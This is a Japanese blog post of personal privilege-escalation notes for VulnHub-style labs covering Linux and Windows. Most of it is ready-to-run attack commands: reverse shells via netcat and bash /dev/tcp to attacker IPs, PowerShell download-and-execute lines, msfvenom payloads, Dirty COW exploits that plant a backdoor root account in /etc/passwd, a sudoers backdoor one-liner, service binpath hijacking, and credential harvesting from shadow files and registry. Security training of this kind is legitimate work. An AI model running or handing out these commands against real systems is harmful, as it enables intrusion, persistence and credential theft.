vulnhub Privilege Escalationメモ
以下二つに追記していってたんですが、文字数が多すぎてレスポンスが重くなったので、PrivilegeEscalationのことはここに書くことにしました。
PE以外は以下二つを参照してください。
kakyouim.hatenablog.com
Privilege Escalation
Linux
情報収集ツール
wget https://www.securitysift.com/download/linuxprivchecker.py
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
Linuxprivchecker.pyなら書き込み可能なファイルやディレクトリをEnumしてくれる。linpeas.sh
github.com
Linpeas.shならpasswordを含むクレデンシャルも探索できる
tcpdump
が可能かどうかもわかる。vuln_pkg_lookup.sh
github.comkernelpop.py
github.com
Enum Kernel Exploitpspy
github.comlinux-smart-enumration
github.comsuid3num.py
github.com
CustomSUIDを探せるwget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
wget https://raw.githubusercontent.com/PenturaLabs/Linux_Exploit_Suggester/master/Linux_Exploit_Suggester.pl
シェルを確立後、これらをアップして実行して情報を集める。
参考:
blog.g0tmi1k.com
https://www.rebootuser.com/?p=1623www.rebootuser.com
guide.offsecnewbie.com
guif.re
手動で情報収集
uname -a
cat /etc/*release
lsb-release -a
cat /etc/passwd
cat /etc/shadow
cat /etc/exports
/home *(rw,no_root_squash)
RWで共有ディレクトリに書き込み権限があり、no_root_squashでローカルのrootユーザーがnsfnobodyを割り振られない場合、いったんkaliにマウントしてSUIDの/bin/bashを書き込めば、リモートにログインしてその/bin/bashを実行することでRootになれる。
www.hackingarticles.inps -ef | grep root
sudo -l
,sudo -ll
例えば、以下のようになっている場合、test1はtest2として/tmp/somecommandを実行すると、そのコマンドがroot権限で実行される。
もし、現在のユーザーがtest1で、somecommandが/bin/bashの場合、sudo -u test2 /bin/bash
でrootになれる。
User test1 may run the following commands on this host: (test2 : ALL) /tmp/somecommand
ただし、somecommandがsudoedit
の場合、sudoedit
にはsudo
コマンドが含まれるので先頭にsudoを付与する必要はない。
- ls -al /etc/cron.daily
- cat /etc/crontab
書き込み可能なスクリプトが実行されていないかどうか確認。
また、*
インジェクションが可能でないか確認。
www.hackingarticles.in
logrotate
がRootで実行されていて、logrotateのログファイルに書き込めるまたはその親ディレクトリに書き込み権限がある場合、任意の場所に書き込める可能性がある。(と書いてあったが/etc/bash_completion.d/
にログファイルを書き込めるだけっぽい?)
/etc/bash_completion.d/
にExploit Codeを設置するとほかのユーザーがログインしてきたときにそのユーザーの権限でExploit codeが実行される。
/var/log
以外にログファイルがないかどうか確認。(/home/logdir/log.1
みたいな)
tech.feedyourhead.at
- find / -mmin -10 2>/dev/null | grep -Ev "^/proc" | grep -vi '\/var\/lib\/' | grep -vi '\/sys\/'
最近編集されたファイルを探す。
- capability
- CAP_DAC_OVERRIDE
- CAP_DAC_READ_SEARCH
- CAP_KILL
- CAP_SYS_CHROOT
これらがバイナリに付与されていないかどうか確認。
悪用できるかどうかは付与されているバイナリによる。
nxnjz.net
cat .bash_history
find /etc/apache2/ -perm 777 | grep -vi '\.load'
cat /etc/passwd | grep -v nologin | grep -v false | grep -v /bin/sync
Loginできるユーザーを確認lsattr ファイル名
ls -al /var
www.pathname.com
おかしな場所にSoftwareがInstallされていないかどうか確認cat ~/.ssh/id_rsa
SSHの秘密鍵が見れるか確認find -iname '*config*'
/var/www/html
などでMysqlなどのデータベースのクレデンシャルなどがないかどうか確認netstat -antup
- 待機しているサービスの確認
外部からは見えないようなソフトが動いていないかどうか確認
例えば以下のような場合、0.0.0.0(すべてのネットワークインターフェイス)の22,80ポートでリッスンしている。(127.0.0.1や10.11.0.1など)
ただしIptablesによってパケットフィルタリングされている可能性もある。
tcp 0 0 0.0.0.0:80 0.0.0.0: LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0: LISTEN
- mysql (3306)
mysql -h 127.0.0.1 -u root -P 3306 -p
show databases;
show tables;
show columns from table_name;
- mongodb (27017)
mongo -u user1 -p password123 localhost:27017/database_name
show dbs
データベースを表示。show collections
MongodbでのcollectionはMysqlでのTabledb.collection_name.find()
collection(table)の中身をすべて表示。db.users.insert( { escalation: "bash /bin/bash" } );
filed(column)がescalation
、値がbash /bin/bash
のdocument(row)をcollection(table)users
に挿入。db.collection_name.find( { a : 1 } )
collection(table)のdocument(row)の中で、field(column)a
の値が1
であるdocument(row)を抽出。
select * from collection_name where a = 1
に対応。
- 待機しているサービスの確認
- tcpdump
tcpdump -w test2.pcap -i tap0 -W1 -G10
で10秒間のセットを一回実行。i
でNICを設定。
passwordなどの情報がやり取りされていないかどうか確認する。tcpdump -r test2.pcap
r
でファイルを読み込む。tcpdump -r test2.pcap -n port 443 -A
n
でポートを指定して、A
、X
で中身を表示。tcpdump -r test2.pcap -n dst host 10.11.0.1
dpkg -l
Debian(ubuntuとか)でInstallされているソフトを列挙rpm -qa
CentOS / openSUSEでInstallされているソフトを列挙
以下を参考にする
www.pathname.com
Exploit
use searchsploit
得られたKernelのバージョンから有効なExploitをsearchsploit
でも探す
searchsploitで探すときには、正しいExploitを探すというよりは、明らかに動かないExploitを排除していって残ったものが正常に動くExploitであると考えています
- Linux kernel で2.6(今回は2.6.24)
- Local Privilege
- OSが32bit(i686とあるため)
- 標的の環境ではRubyは動かないので.rbを排除
< 2.6.1
を省く
ここまですればある程度目で見れるくらいに絞れる。あとは、
- Ubuntuで8.04じゃないやつ(10.10とか)
等、矛盾するものを排除していく
注意点
- grep は標準出力されたものの中で検索するのでsearchsploitの結果が隠れている場合はそれも省いてしまう。(Esca で途切れている場合など注意)
searchsploit --colour -t php
として色を消すsearchsploit -x 12345
とすると表示できる- grep では`-i`(大文字小文字無視)を使う
- Ubuntuで絞るのは早すぎる。Ubuntuと書かれていないものもある
- 一個ずつ消すときは、ファイル名で消す
- 2.xみたいなのを消さないように気を付ける
Compile error
: syntax error: unexpected end of file
: line 39: syntax error near unexpected token `{
/bin/bash^M: bad interpreter: No such file or directory
のようなエラーが出ているときは、改行コードが\r\nで保存されてしまっているため、Linuxの\nに直す。
その他のエラーの参考文献。
github.com
sed -i 's/\r//' filename
use command or program
-get root one liner
rootで起動しているプロセスがあれば、そのプロセス上でコマンドが実行できないかどうか確認。書き込みでも可。できれば以下のコマンドで権限昇格
echo "%wheel ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers; useradd user2; echo "user2" | passwd --stdin user2;usermod -aG wheel user2
useradd
でuser2という新しいユーザーをpassword=user2として作成し、usermod
でsudoをNOPASSWORDで実行できるようにする。
# id user2 uid=502(user2) gid=502(user2) groups=502(user2),10(wheel) # sudo su user2 bash-3.2$ sudo su root # id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
chmod u+s /bin/bash
/bin/bashの所有者の権限(3つのやつの一番左の権限)で実行。root以外が実行してもrootとして実行されるが、一番右のothersが実行できない(xがついていない)場合はPermission deniedとなって実行できない。
u+s
でSUIDビットを付けられるのはバイナリファイルだけ。シェルスクリプトにはできない。
g+s
でSGIDビットを付与。
ファイルの所有者は変わらない。/bin/bash -p
chmod
でrootの権限SUIDを付与したbash
を実行する際、-pを付けないと、実行したユーザーの権限で上書きされて実行されてしまうので昇格ができない。chown -R john.john /root
-R
で、指定したディレクトリとそのディレクトリ以下のファイルやディレクトリの所有権を再帰的に変更する。nc -e /bin/bash 192.168.56.5 4445
#!/bin/sh netcat -e /bin/sh 10.11.0.1 5555
- コマンドの悪用
sudoが許可されている場合など、以下のコマンドを使ってrootになれる。
GTFOBins
rootで書き込めるなら、/etc/sudoers
に
- www-data ALL=NOPASSWD: /bin/su
みたいに書けばよい
- export PATH=/home/john:$PATH
フルパスでコマンドが実行されていない場合、環境変数を書き換えて任意コマンド実行。ただしシェルスクリプト(bash script.sh)ではPATHを書き換えても/bin/を参照するため無効(?yokuwakaranai?)
- ssh -i id_rsa 127.0.0.1 -l root
非rootの公開鍵が/root/.ssh/authorized_keysにある場合、上記のコマンドで(/home/非root/.ssh上で)ログインできる。
また、kernelのバージョンが2.6.22~3.9なら、dirtycowというexploitができる可能性がある。これは非常に強力なエクスプロイト。一般ユーザーには読み込みしか許可せず書き込みができないファイルに対してExploitを実行して書き込めるというもの。つまり、/etc/passwd
に新たなuserをrootとして作成することが可能。
有名なExploit
Dirty cow
- 40839.c
gcc -pthread dirty.c -o dirty -lcrypt
でコンパイルする。
./dirtycow-40839-32 /etc/passwd successfully backed up to /tmp/passwd.bak Please enter the new password: pass Complete line: firefart:fijI1lDcvwk7k:0:0:pwned:/root:/bin/bash mmap: b778e000 madvise 0 ptrace 0 Done! Check /etc/passwd to see if the new user was created. You can log in with the username 'firefart' and the password 'pass'. DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd Done! Check /etc/passwd to see if the new user was created. You can log in with the username 'firefart' and the password 'pass'. DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
cat /etc/passwd firefart:fijI1lDcvwk7k:0:0:pwned:/root:/bin/bash
- 40616.c
gcc cowroot.c -o cowroot -pthread
でコンパイル。
* $ ./cowroot * DirtyCow root privilege escalation * Backing up /usr/bin/passwd.. to /tmp/bak * Size of binary: 57048 * Racing, this may take a while.. * /usr/bin/passwd is overwritten * Popping root shell. * Don't forget to restore /tmp/bak * thread stopped * thread stopped * root@box:/root/cow# id * uid=0(root) gid=1000(foo) groups=1000(foo)
- 40611
gcc -pthread dirtyc0w.c -o dirtyc0w
でコンパイル。
root@kali:~# perl -le 'print crypt("pass", "aa")' aaW3cJZ7OSoQM
で、これをパスワードとして/etc/passwd
に追記する。
文字数はいい感じにファイル名で合わせる。
$echo '#!/usr/bin/env bash' > /tmp/reverse-shell555555555 $bash -i >& /dev/tcp/10.11.0.112/5555 0>&1' >> /tmp/reverse-shell555555555 $chmod 777 reverse-shell555555555 .$/dirtycow-40611-32 /etc/passwd backdoor:aaW3cJZ7OSoQM:0:0:backdoor:/root:/tmp/reverse-shell555555555 <backdoor:aaW3cJZ7OSoQM:0:0:backdoor:/root:/tmp/reverse-shell555555555 mmap b7797000 madvise 0 procselfmem -1689934592 $cat /etc/passwd backdoor:aaW3cJZ7OSoQM:0:0:backdoor:/root:/tmp/reverse-shell555555555
- 40847
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
でコンパイル。
$./dcow -s
- 40838
gcc -pthread pokemon.c -o dcow
でコンパイル。
$./dcow pokeball miltank
miltankでpokeball fileを上書き。
(___) \n\ (o o)_____/ \n\ @@ ` \\ \n\ \\ ____, /%s \n\ // // \n\ ^^ ^^ \n\
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCsに様々なバージョンのDirtycowがのっている。
DirtyCOW(CVE-2016-5195)のPoCを試してみたよっていう話 - Qiitaに詳しい手順がのっている。
Ubuntuのディストリビューションに対するカーネルバージョン
Ubuntu version history - Wikipedia
Windows
ツールやコマンド
powerless.bat
accesschk.exe
をアップロードしてから実行するとよい
certutil.exe -urlcache -split -f "http://10.11.0.11/priv/windows/Powerless.bat" Powerless.bat
Sherlock.ps1
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://10.11.0.11/priv/windows/Sherlock.ps1'))http://10.11.0.112/priv/windows/Sherlock.ps1'));Find-AllVulns"
Session Gopher.ps1
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://10.11.0.112/priv/windows/SessionGopher.ps1')); Invoke-SessionGopher -Thorough"
JAWS
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://10.11.0.12/priv/windows/jaws-enum.ps1'))"
WindowsEnum.ps1
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://10.11.0.11/priv/windows/WindowsEnum.ps1'));"
windows-privesc-check2.exe
certutil.exe -urlcache -split -f "http://10.11.0.11/priv/windows/windows-privesc-check2.exe" windows-privesc-check2.exe
beRoot
certutil.exe -urlcache -split -f "http://10.11.0.11/priv/windows/beRoot.exe" beRoot.exe
PowerUp
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://10.11.0.11/priv/windows/PowerUp.ps1')); Invoke-AllChecks | Out-File allchecks.txt"
windows-exploit-suggester.py
python windows-exploit-suggester.py --database 2020-03-06-mssb.xls --systeminfo systeminfo.txt
Seatbelt.exe
certutil.exe -urlcache -split -f "http://10.11.0.11/priv/windows/Seatbelt.exe" Seatbelt.exe
SharpUp.exe
certutil.exe -urlcache -split -f "http://10.11.0.11/priv/windows/SharpUp.exe" SharpUp.exe
Metasploit
use post/multi/recon/local_exploit_suggester
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.56.5 lport=4444 -f exe > shell.exe
Other tool
accesschk.exe
レジストリへの権限を確認したり重宝するツールだが、XP SP1だとなんか動かなかった。(??)
ファイルサイズが大きいのでUPXで小さくした方がいいかも。
certutil.exe -urlcache -split -f "http://10.11.0.11/priv/windows/AccessChk/accesschk.exe" accesschk.exe
以下、もしくはSysInternalsからダウンロード。
github.com
Powershell Empire
- Listenerの設定
[Listeners] → [uselistenser http]でポートなどを設定
set Port 8080
set Host http://10.10.10.10:8080
set Name test
[execute]でリスナーを作成
[Listeners] → [usestager windows/launcher_bat]でリスナーのStagerを作成
set Listener test
[execute]でstagerを作成
scriptimport /var/www/html/priv/windows/Sherlock.ps1
scriptcmd FindAllVulns
usemodule privesc/powerup/allchecks
scriptimport /var/www/html/priv/windows/jaws-enum.ps1
upload /tftp/launcher.bat
upload /var/www/html/exploit/windows/reverse-4445.exe
upload /var/www/html/exploit/windows/Powerless.bat
upload /var/www/html/priv/windows/Accesschk/accessChk.exe
upload /var/www/html/priv/windows/Autoruns/autorunsc.exe
upload /var/www/html/priv/windows/beRoot.exe
upload /var/www/html/priv/windows/Seatbelt.exe
upload /var/www/html/priv/windows/SharpUp.exe
upload /var/www/html/priv/windows/windows-privesc-check2.exe
以下の参考文献がわかりやすい。
www.emonnao.com
以下にModuleの説明がのっている。
www.powershellempire.com
調査と悪用
system
* * Windows XP with sp2 * - As Power User: * service: DcomLaunch ( SYSTEM ) * Service: UpnpHost ( Local Service ) * Service: SSDPSRV (Local Service) * Service: WMI (SYSTEM) <- sometimes as user also.. * - As User: * Service: UpnpHost ( Local Service ) * Service: SSDPSRV (Local Service) * - As Network Config Operators: * service: DcomLaunch ( SYSTEM ) * Service: UpnpHost ( Local Service ) * Service: SSDPSRV (Local Service) * Service: DHCP ( SYSTEM ) * Service: NetBT (SYSTEM - .sys driver) * Service DnsCache (SYSTEM) * * * Windows 2000 * - As Power user * service: WMI (SYSTEM)
upnphost
XP SP1,2
ならupnphost
のレジストリキーを任意に書き換えられる脆弱性がある可能性(99%)
Local Srvice
で起動するようになっていても、Local System
に上書きすればよい。
reverse-shellペイロードは、Stagedじゃないとうまく行かなかった。
MSI,VBSで作成したペイロードはエラーで実行ができなかった。
msfvenom -p windows/shell/reverse_tcp LPORT=8888 LHOST=10.11.0.112 -f exe > reverse-8888-staged.exe
以下の参考文献では、-f exe-service
としてペイロードを作成していたが、そうするとnet start upnphost
の時に、
C:\WINDOWS\system32>net start upnphost net start upnphost System error 1083 has occurred. The executable program that this service is configured to run in does not implement the service.
となってエラーで実行できなかった。(???)
LPEWalkthrough/Walkthrough.md at master · J3rryBl4nks/LPEWalkthrough · GitHub
sc config upnphost binpath= "C:\Documents and Settings\All Users\Documents\reverse-4445.exe" sc config upnphost obj= ".\LocalSystem" password= "" sc qc upnphost sc config upnphost depend= "" net start upnphost
でサービスを起動すると、Reverse shellがMeterpreter上で得られるが、数十秒で接続が切れてしまう。
そのため、
migrate PID
などで安定したSYSTEMプロセスに移動する必要がある。VMTools
,logon.scr
,winlogon
などで行けた。
srvcheck3.exe -m upnphost -H 127.0.0.1 -c "cmd.exe /c c:\Inetpub\wwwroot\shell.exe"
github.com
IKEEXT DLLHijack
Windows Vista / 7/8
ならIKEEXT
などの存在しないDLLを読み込もうとする脆弱性の可能性
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://10.11.0.11/priv/windows/Ikeext-Privesc.ps1'));Invoke-IkeextCheck -Verbose "
以下に詳しい手順とPSのExploit Codeがある
https://github.com/itm4n/Ikeext-Privescgithub.com
Hot potato
ホットポテトは、NBNSおよびWPADのローカルスプーフィングに対処する脆弱性
WPAD用のローカルスプーファーをセットアップし、Defenderに更新を確認するように依頼して脆弱性をトリガーする。
DefenderはNT \ SYSTEMとして実行されているため、ハッシュを取得して独自のSMBサーバーに中継できる。
これをローカルSMBサーバーに中継したら、コマンドを実行できる
Windows 7/ 8/10/ Server 2008/ Server 2012
なら脆弱である可能性
以下のPowershellのExploit Codeが使える
詳しい判断基準は不明
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://10.11.0.11/exploit/windows/Tater.ps1')); Invoke-Tater -Command 'net localgroup administrators jill /add' -exhaustudp Y"
github.com
おそらく以下の状態になれば失敗(????)
時間がかかるという文献もあるので待てばよい?
2020-03-02T01:26:59 - Tater (Hot Potato Privilege Escalation) started Local IP Address = 10.11.1.73 Spoofing Hostname = WPAD UDP Port Exhaustion Enabled Windows Defender Trigger Enabled Real Time Console Output Enabled Run Stop-Tater to stop Tater early Use Get-Command -Noun Tater* to show available functions Press any key to stop real time console output 2020-03-02T01:26:59 - Waiting for incoming HTTP connection 2020-03-02T01:26:59 - Trying to exhaust UDP source ports so DNS lookups will fa il 2020-03-02T01:27:00 - Couldn't bind to UDP port 161 2020-03-02T01:27:00 - Couldn't bind to UDP port 500 2020-03-02T01:27:02 - Couldn't bind to UDP port 3702 2020-03-02T01:27:02 - Couldn't bind to UDP port 4500 2020-03-02T01:27:02 - Couldn't bind to UDP port 5004 2020-03-02T01:27:02 - Couldn't bind to UDP port 5005 2020-03-02T01:27:03 - Couldn't bind to UDP port 5355 2020-03-02T01:27:50 - Couldn't bind to UDP port 56182 2020-03-02T01:27:54 - Couldn't bind to UDP port 60579 2020-03-02T01:27:55 - Couldn't bind to UDP port 61267 2020-03-02T01:27:58 - Couldn't bind to UDP port 64549 2020-03-02T01:27:59 - Flushing DNS resolver cache 2020-03-02T01:28:14 - DNS lookup failed so UDP exhaustion worked 2020-03-02T01:28:15 - Flushing DNS resolver cache 2020-03-02T01:28:15 - Starting NBNS spoofer to resolve WPAD to 127.0.0.1 2020-03-02T01:28:18 - WPAD has been spoofed to 127.0.0.1 2020-03-02T01:28:18 - Running Windows Defender signature update 2020-03-02T01:28:31 - HTTP request for /wpad.dat received from 127.0.0.1 2020-03-02T01:28:35 - Attempting to redirect to http://localhost:80/gethashes a nd trigger relay 2020-03-02T01:28:35 - HTTP request for http://go.microsoft.com/fwlink/?LinkID=1 21721&clcid=0x409&arch=x86&eng=0.0.0.0&asdelta=0.0.0.0&prod=925A3ACA-C353-458A- AC8D-A7E5EB378092 received from 127.0.0.1 2020-03-02T01:28:39 - HTTP request for /GETHASHES received from 127.0.0.1 2020-03-02T01:28:40 - HTTP to SMB relay triggered by 127.0.0.1 2020-03-02T01:28:40 - Grabbing challenge for relay from 127.0.0.1 2020-03-02T01:28:40 - Received challenge 42174A099FB0658A for relay from 127.0. 0.1 2020-03-02T01:28:40 - Providing challenge 42174A099FB0658A for relay to 127.0.0 .1 2020-03-02T01:28:41 - Sending response for \ for relay to 127.0.0.1 2020-03-02T01:28:41 - HTTP to SMB relay authentication failed for \ on 127.0.0. 1
以下原理などの参考文献
pentestlab.blog
foxglovesecurity.com
Users
net user
,net localgroup
,net localgroup "Remote Desktop Users"
自分のグループの権限、ほかのユーザーの権限などを調べて、どのユーザーのプロセスを使えば権限昇格できるかを確認する
RDPできるユーザーも確認LocalSystem
administrator権限を与える。原則なんでもできる。
アカウント名:NT AUTHORITY\System
PEではこのlocalsystem,administrator権限を奪取することが目標となるLocal Service
Usersグループのメンバと同じ権限しか持たないサービス用アカウント。
ネットワーク・リソースへのアクセスも、特定アカウントではなく匿名の資格情報に制限される。
デフォルトでは、ローカルとネットワークのどちらのリソースに対しても、Systemほど強力な権限を必要としないサービスで利用されている。
アカウント名:NT AUTHORITY\LocalServiceNetwork Service
Local Serviceと同じく、Usersグループのメンバと同じ権限しか持たないサービス用アカウント。
ただしネットワーク・リソースには、Systemと同じくローカルのコンピュータ・アカウントの資格情報でアクセスできることから、Systemほど強力な権限を必要としないネットワーク系サービスで利用されている。
アカウント名:NT AUTHORITY\NetworkServiceAuthenticated Users
AD(ドメイン)ならドメインにログオンできるユーザーは皆Authenticated Usersに所属
ローカルPCの場合は、そのPCにログインできるユーザーはAuthenticated Usersに所属。
但しGuestアカウントは認証ユーザーではないので、Authenticated Usersに所属していない。
Privileges
Juicy Potato
SeImpersonatePrivilege
またはSeAssignPrimaryTokenPrivilege
を持っていてx64の場合、Juicy Potatoが有効
以下から64bitバイナリをダウンロード
github.com
hunter2.gitbook.io
Rotten potato
- 説明
Rotten Potatoは、セキュリティトークンを偽装することで実行できる、Windowsでの権限昇格方法 - 脆弱かどうか
- SeImpersoncatePrivilege
- SeAssignPrimaryPrivilege
- SeTcbPrivilege
- SeBackupPrivilege
- SeRestorePrivilege
- SeCreateTokenPrivilege
- SeLoadDriverPrivilege
- SeTakeOwnershipPrivilege
- SeDebugPrivilege
を持っている場合、脆弱。
以下、詳しい手順が書いている参考文献
areyou1or0.blogspot.com
その他の脆弱な権限は以下を参照
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#eop---impersonation-privileges
- SeImpersoncatePrivilege
環境変数
Find-PathDLLHijack
PATH変数の中に書き込み権限がある場所がないかどうか調べる
非常に重要
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://10.11.0.11/priv/windows/PowerUp.ps1')); Find-PathDLLHijack "
Writable
- file/Directry
icacls
icacls
のF
もしくはM(?)
がPower UsersやBUILTIN\Users,NT AUTHORITY\Authenticated Usersに与えられている場合、実行ファイルを置き換えられる。
その実行ファイルがSYSTEMで起動するサービスと関係している場合に有効autoruns
=== Modifiable Registry Autoruns ===
HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run : C:\Program Files\Autorun Program\program.exe
SharpUp.exe
の結果で書き込み可能な場所に自動起動するプログラムがある場合有効accesschk.exe -dqv "C:\Python27"
上記でディレクトリやファイルの権限を確認
- Service
sc config upnphost binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
RW
がNT AUTHORITY\Authenticated Usersなどに与えられている場合、上記でサービスのバイナリPATHを書き換えられる
XP SP1はデフォルトでこれが可能sc qc upnphost
で確認
sc
コマンドでレジストリからキーを取得する(?)。
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\upnphost
でも同じことができるaccesschk.exe -ucqv upnphost
でこのサービスのレジストリキーに書き込み可能かどうか確認できる
powershell -Command "Get-Acl -Path HKLM:\System\CurrentControlSet\Services\upnphost"
でも同じことができるが、PSv3.0以降でしか使えない
accesschk5-2.exe -uwcqv "Authenticated Users" * /accepteula
winXP/2003なら5-2versionを使う必要があるらしい。net stop upnphost
,net start upnphost
,wmic service NAMEOFSERVICE call startservice
でサービスを起動するsc sdshow wampapache
サービスに付与されている権限をDACL構文で表示
D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)
例えば上記の場合、
SY(Local System)
,BA(Builtin Administrators)
にはサービスの起動(RP)・停止(WP)権限があるが、
IU(対話型ログオン ユーザー)
,SU(Service Logon User)
にはその権限はない。
そのためサービスの再起動ができない。
また、accesschk.exe -ucqv wampapache
でサービスに対するレジストリキーへの書き込み権限を表示する。
Medium Mandatory Level (Default) [No-Write-Up] RW NT AUTHORITY\SYSTEM SERVICE_ALL_ACCESS RW BUILTIN\Administrators SERVICE_ALL_ACCESS R NT AUTHORITY\INTERACTIVE SERVICE_QUERY_STATUS SERVICE_QUERY_CONFIG SERVICE_INTERROGATE SERVICE_ENUMERATE_DEPENDENTS SERVICE_USER_DEFINED_CONTROL READ_CONTROL R NT AUTHORITY\SERVICE SERVICE_QUERY_STATUS SERVICE_QUERY_CONFIG SERVICE_INTERROGATE SERVICE_ENUMERATE_DEPENDENTS SERVICE_USER_DEFINED_CONTROL READ_CONTROL
この場合、一般権限のユーザーでは書き込み権限がないので起動・停止権限を付与することもできない。
DACL構文の参考文献
https://support.microsoft.com/ja-jp/help/914392/best-practices-and-guidance-for-writers-of-service-discretionary-acces
Unquoted file path
wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """
自動起動するサービスで、引用符に囲まれていないサービスを列挙する。
一般にC:\Windows
には書き込み権限がないのでそこを除外している(?)C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe
となっている場合、
C:\Program.exe
C:\Program Files\Unquoted.exe
C:\Program Files\Unquoted Path Service\Common.exe
のように実行ファイルを設置できれば有効
AlwaysInstallElevated
=== AlwaysInstallElevated Registry Keys === HKLM: 1 HKCU: 1
となっていると脆弱
実行する特権が自動的に昇格されるため、管理者がワークステーションにアクセスしなくても、低い特権のユーザーがインストールを実行できます。
これを悪用するには、.msiインストーラーを実行する
- msfvenom -p windows/shell_reverse_tcp LPORT=31337 LHOST=10.22.6.122 -f msi > Install.msi
Get System
- Get-System.ps1
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://10.11.0.1/exploit/windows/Get-System.ps1')); Get-System -Technique NamedPipe"
Tokenvator4.5.exe GetSystem
incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe
PsExec.exe -s -i cmd.exe
python getsystem.py
以下にMetasploitを使わずにGet-Systemが実行できるファイルがある
github.com
github.com
github.com
Credential
cmdkey /list
runas /savecred /user:WORKGROUP\Administrator "C:\User\john\evil.exe"
保存されたクレデンシャルがある場合はそれを使って、任意のプログラムをその権限で実行できるC:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
パスワードを使って実行することもできる
PsExec -u tom -p iamtom \\TOMSCOMP C:\path\to\nc.exe IP_OF_ATTACKING_SYSTEM 8080 -e C:\windows\system32\cmd.exe
PsExec64.exe -u "Batman" -p "Zx^#QZX+T!123" C:\Windows\System32\spool\drivers\color\reverse-arkham.exe -accepteula
でも可能(?)
$username = 'batman' $password = 'Zx^#QZX+T!123' $securePassword = ConvertTo-SecureString $password -AsPlainText -Force $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword Invoke-command -computername ARKHAM -credential $credential -scriptblock { cmd.exe /c "C:\windows\system32\spool\drivers\color\nc.exe" -e cmd.exe 10.10.14.8 4445 }
をPowershell上で実行して、得られたクレデンシャルとして実行できる!
schtasks /Create /RU {domain name?(eg ARKHAM)}\{username} /RP "{password}" /SC MINUTE /MO 1 /TN logtracker /TR reverse-shell.exe
をcmd上で実行でもできそう?
- registry
- reg query HKLM /f password /t REG_SZ /s
- reg query HKCU /f password /t REG_SZ /s
- reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"
- C:\WINNT\system32\config
reg
コマンドが使用できないとき(win2000)。
Kernel Exploit
python pyinstaller.py --onefile exploit.py
pythonで書かれたExploitをWindowsで動かすために.py
を.exe
に変換する。
dist
ディレクトリにバイナリが書き込まれるCompiled exe
以下にコンパイル済みのバイナリがある
github.com
DLL Hijack
- 概要
存在しないDLLを読み込もうとするようなサービスがある場合、悪意のあるDLLを設置すれば起動時にそれを読み込ませられる。
DLLHijackはDLL Injectionとは違って、正しいDLLが読み込まれる際にそのDLLの代わりに悪意のあるDLLが読み込まれるようにしたもの
以下の順番で読み込まれる - 読み込まれる順番
1 The directory from which the application loaded
2 32-bit System directory (C:\Windows\System32)
3 16-bit System directory (C:\Windows\System)
4 Windows directory (C:\Windows)
5 The current working directory (CWD)
6 Directories in the PATH environment variable (system then user)
- DLL Hijackable service
MSDTC
,MSINFO
,Narrator
などが可能らしい。
以下に詳しく書いてある。
pentestlab.blog
PowerSploit
以下にほぼすべてのモジュールの使い方が丁寧に書いてある
powersploit.readthedocs.io
File Upload
upx -9 nc.exe
tftp
などではサイズの大きいファイルの送信にかなり時間がかかるのでUPXでサイズを小さくする。tftp -i 10.11.0.5 get nc.exe
atftpd --daemon --port 69 /tftp
を実行して、/tftp
にアップしたいファイルを用意することでUploadできる
Windows XPにはデフォルトでTFTPクライアントが組み込まれているが、Windows 7には組み込まれていない。powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.56.5/share/powercat.ps1')"
- meterpreter
